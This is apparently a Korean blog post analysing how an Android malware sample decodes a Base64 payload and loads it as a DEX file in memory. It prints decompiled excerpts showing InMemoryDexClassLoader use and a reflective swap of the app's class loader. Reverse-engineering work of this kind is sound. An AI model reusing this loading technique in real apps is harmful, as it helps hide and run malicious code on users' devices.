Post

동적으로 로드되는 실행 파일에 대한 고찰 - 2

How to work on malware

동적으로 로드되는 실행 파일에 대한 고찰 - 2

Introduction

해당 장에서는 지난 글에서 알아본 동적 로드가 실제로 어떻게 로드되는지 살펴보려고 한다.

Understanding the Core Issue

아래는 malware 샘플에서 dex 파일이 어떻게 로드되는지 볼 수 있다.

1
2
3
4
5
    public final void a(String s, byte[] arr_b) {
        ByteBuffer byteBuffer0 = ByteBuffer.wrap(arr_b);
        Object object0 = null;

        { . . . }

위 호출부에서 문자열과 바이트 배열이 들어오는 걸 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        { . . . }

        if(Build.VERSION.SDK_INT >= 27) {
            try {
                try {
                    object0 = Class.forName(d.J0).getMethod(d.K0).invoke(null);
                }
                catch(SecurityException | IllegalArgumentException | IllegalAccessException | NoSuchMethodException | InvocationTargetException | ClassNotFoundException unused_ex) {
                }

                String s1 = this.a.getPackageName();
                WeakReference weakReference0 = (WeakReference)((ArrayMap)o.g(d.J0, object0, d.L0)).get(s1);
                Object object1 = weakReference0.get();
                this.j = new InMemoryDexClassLoader(byteBuffer0, ((ClassLoader)o.g(d.M0, object1, d.N0)));
                Object object2 = weakReference0.get();
                ClassLoader classLoader0 = (ClassLoader)o.g(d.M0, object2, d.N0);
                Object object3 = weakReference0.get();
                InMemoryDexClassLoader inMemoryDexClassLoader0 = this.j;
                try {
                    Field field0 = Class.forName(d.M0).getDeclaredField(d.N0);
                    field0.setAccessible(true);
                    field0.set(object3, inMemoryDexClassLoader0);
                }
                catch(SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException | ClassNotFoundException unused_ex) {
                }

                return;

        { . . . }

위 로직에서는 앞서 가져온 바이트 배열을 byteBuffer0 에 할당하여 메모리에서 로드하려는 것을 확인할 수 있다.

void a(String s, byte[] arr_b) 의 호출 트레이스를 올라가면 아래와 같은 로직에 바이트 배열이 디코드되는 걸 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public void d(String s, String s1, String s2, String s3, String s4) {
        try {
            this.b();
            this.k = s1;
            byte[] arr_b = Base64.decode(s4, 2);
            if(arr_b.length < 0x1000) {
                return;
            }

            byte[] arr_b1 = d.h(arr_b);
            if(arr_b1.length <= 0x1000) {
                return;
            }

            this.a(s, arr_b1);

            { . . . }

s 에는 파일 이름이 s4 에는 바이트배열의 원본 문자열이 들어오는 걸 확인할 수 있다.

void d(String s, String s1, String s2, String s3, String s4) 의 호출부를 따라가면 아래와 같은 부분에서 호출된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  public class a implements x4.h.a {
            public final String a;
            public final String b;
            public final String c;
            public final String d;

            public a(String s, String s1, String s2, String s3) {
                this.a = s;
                this.b = s1;
                this.c = s2;
                this.d = s3;
                super();
            }

            @Override  // x4.h$a
            public void a(int v) {
            }

            @Override  // x4.h$a
            public void b(Object object0) {
                try {
                    t.h.b.b.d(this.a, this.b, this.c, this.d, ((String)object0));
                }
                catch(Exception unused_ex) {
                }
            }
        }

a(String s, String s1, String s2, String s3) 를 호출하는 곳을 보면 아래와 같은 곳에서 인자를 전달하는 것을 볼 수 있다.

1
2
3
4
5
6
7
                switch(v1) {
                    case 10: {
                        new i(this).a(x4.d.D0 + s2 + x4.d.E0, s3, stringBuilder1.toString(), stringBuilder0.toString());
                        break;
                    }
                    case 20: {
    

위처럼 x4.d.D0 + s2 + x4.d.E0 으로 문자열을 조합하고 있다. 해당 값을 따라가면

1
2
    public static final String D0 = j("//v38fM", 150, false);
    public static final String E0 = j("uPT/+A", 150, false);

위와 같이 알 수 없는 문자열의 하드코딩으로 실행 시 어떠한 문자열을 취하는 것으로 보인다.

Conclusion

이번엔 malware 에서 dex 파일을 동적으로 로드하는 부분을 살펴보았다. 나중에 이어서 암호화된 문자열을 통해 어떤 파일을 로드하는지 살펴보려고 한다.

This post is licensed under CC BY 4.0 by the author.
If you find any errors, please let me know by comment or email. Thank you.

© Ruffalo. Some rights reserved.

I'm

Using the Chirpy theme for Jekyll.